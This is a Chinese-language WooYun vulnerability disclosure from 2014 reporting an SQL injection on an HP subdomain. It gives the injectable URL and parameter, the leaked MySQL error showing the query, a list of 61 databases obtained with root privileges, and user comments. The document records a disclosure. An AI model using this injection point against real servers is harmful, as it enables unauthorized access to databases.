惠普某分站存在SQL注入漏洞(root权限)

发表于 2014年12月27日
WooYun漏洞库

漏洞概要

缺陷编号：WooYun-2014-088985

漏洞标题：惠普某分站存在SQL注入漏洞(root权限)

漏洞详情

披露状态：

2014-12-27: 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-02-10: 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

惠普某分站存在SQL注入漏洞(MYSQLroot权限），一大堆数据库

详细说明：

http://success.hp.com/lexika/list.php?act=articlesearch&search[metainfo_id]=318432%27

Query: SELECT DISTINCT la.id, la.lexikon_id, la.art_id, la.title, la.preiskategorie_id, la.frei, la.speaking_url FROM lexikon_article la, lexikon_article_metainfo lam, lexikon l WHERE l.title like '%lexikon%' AND lam.metainfo_id = 318432\' AND l.recherche = 1 AND lam.article_id = la.id AND l.id = la.lexikon_id ORDER BY la.title_sort, la.title<br>
Fehler 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' AND l.recherche = 1 AND lam.article_id = la.id AND l.id = la.lexikon_id ORD' at line 4 (db=0, current_db=)

Query: SELECT DISTINCT la.id, la.lexikon_id, la.art_id, la.title, la.preiskategorie_id, la.frei, la.speaking_url FROM lexikon_article la, lexikon_article_metainfo lam, lexikon l WHERE l.title like '%lexikon%' AND lam.metainfo_id = 318432\' AND l.recherche = 1 AND lam.article_id = la.id AND l.id = la.lexikon_id ORDER BY la.title_sort, la.title

Fehler 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' AND l.recherche = 1 AND lam.article_id = la.id AND l.id = la.lexikon_id ORD' at line 4 (db=0, current_db=)

漏洞证明：

available databases [61]:<br>
[*] biospektrum<br>
[*] bnt<br>
[*] campbell<br>
[*] chrono<br>
[*] contoo2<br>
[*] doi<br>
[*] epoq<br>
[*] facebook<br>
[*] fischer_wa<br>
[*] forum_contoo<br>
[*] games<br>
[*] holtzbrinck<br>
[*] information_schema<br>
[*] intern<br>
[*] international<br>
[*] kno_neues<br>
[*] kosmo<br>
[*] lifetype<br>
[*] mantis<br>
[*] meetings<br>
[*] meetings_dgfi<br>
[*] meetings_extern<br>
[*] meetings_test<br>
[*] mh_lt<br>
[*] mhtest<br>
[*] mysql<br>
[*] nature<br>
[*] naturejobs<br>
[*] new.mysql<br>
[*] new_mysql<br>
[*] nl_sdwv<br>
[*] nl_spotlight<br>
[*] phpOpenTracker<br>
[*] phprojekt<br>
[*] purves<br>
[*] sav<br>
[*] sav2<br>
[*] scilogs_com<br>
[*] scilogs_com_dev<br>
[*] scilogs_de<br>
[*] scilogs_de_dev<br>
[*] scilogs_de_dev_2<br>
[*] scilogs_de_xxx<br>
[*] scilogs_dev_fr<br>
[*] scilogs_eu<br>
[*] scilogs_fr<br>
[*] scilogs_org<br>
[*] sixcms72_wo<br>
[*] sixcms72_wo_utf8<br>
[*] spektrum<br>
[*] spektrum6_mysql<br>
[*] suche_log<br>
[*] tech<br>
[*] test<br>
[*] test_u_f_journals<br>
[*] umfragen<br>
[*] vgwort<br>
[*] wissenblog<br>
[*] wissenschaft_extras<br>
[*] wissenschaft_online<br>
[*] zenit_mapping

available databases [61]:

[*] biospektrum

[*] bnt

[*] campbell

[*] chrono

[*] contoo2

[*] doi

[*] epoq

[*] facebook

[*] fischer_wa

[*] forum_contoo

[*] games

[*] holtzbrinck

[*] information_schema

[*] intern

[*] international

[*] kno_neues

[*] kosmo

[*] lifetype

[*] mantis

[*] meetings

[*] meetings_dgfi

[*] meetings_extern

[*] meetings_test

[*] mh_lt

[*] mhtest

[*] mysql

[*] nature

[*] naturejobs

[*] new.mysql

[*] new_mysql

[*] nl_sdwv

[*] nl_spotlight

[*] phpOpenTracker

[*] phprojekt

[*] purves

[*] sav

[*] sav2

[*] scilogs_com

[*] scilogs_com_dev

[*] scilogs_de

[*] scilogs_de_dev

[*] scilogs_de_dev_2

[*] scilogs_de_xxx

[*] scilogs_dev_fr

[*] scilogs_eu

[*] scilogs_fr

[*] scilogs_org

[*] sixcms72_wo

[*] sixcms72_wo_utf8

[*] spektrum

[*] spektrum6_mysql

[*] suche_log

[*] tech

[*] test

[*] test_u_f_journals

[*] umfragen

[*] vgwort

[*] wissenblog

[*] wissenschaft_extras

[*] wissenschaft_online

[*] zenit_mapping

修复方案：

过滤

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：12 (WooYun评价)

评价

2010-01-01 00:00 点点白帽子 | Rank:99 漏洞数:14)

沙发
2010-01-01 00:00 浩天白帽子 | Rank:851 漏洞数:68)

猪哥也凑热闹
2010-01-01 00:00 玉林嘎白帽子 | Rank:757 漏洞数:64)

猪哥说要发到惠普来认领
2010-01-01 00:00 黑暗游侠白帽子 | Rank:1058 漏洞数:93)

我也找到了
2010-01-01 00:00 泳少白帽子 | Rank:158 漏洞数:20)

静静的观看。厂商准备来认领
2010-01-01 00:00 子非海绵宝宝白帽子 | Rank:1220 漏洞数:113)

猪哥发飙了
2010-01-01 00:00 backtrack丶yao 白帽子 | Rank:0 漏洞数:0)

我用的电脑就是惠普哟
2010-01-01 00:00 ’‘Nome 白帽子 | Rank:57 漏洞数:7)

猪猪侠，能告诉下你用的是什么笔记本？
2010-01-01 00:00 第四维度白帽子 | Rank:40 漏洞数:4)

静静看
2010-01-01 00:00 小呆呆白帽子 | Rank:33 漏洞数:4)

坐等公开

原文连接：惠普某分站存在SQL注入漏洞(root权限) 所有媒体，可在保留署名、原文连接的情况下转载，若非则不得使用我方内容。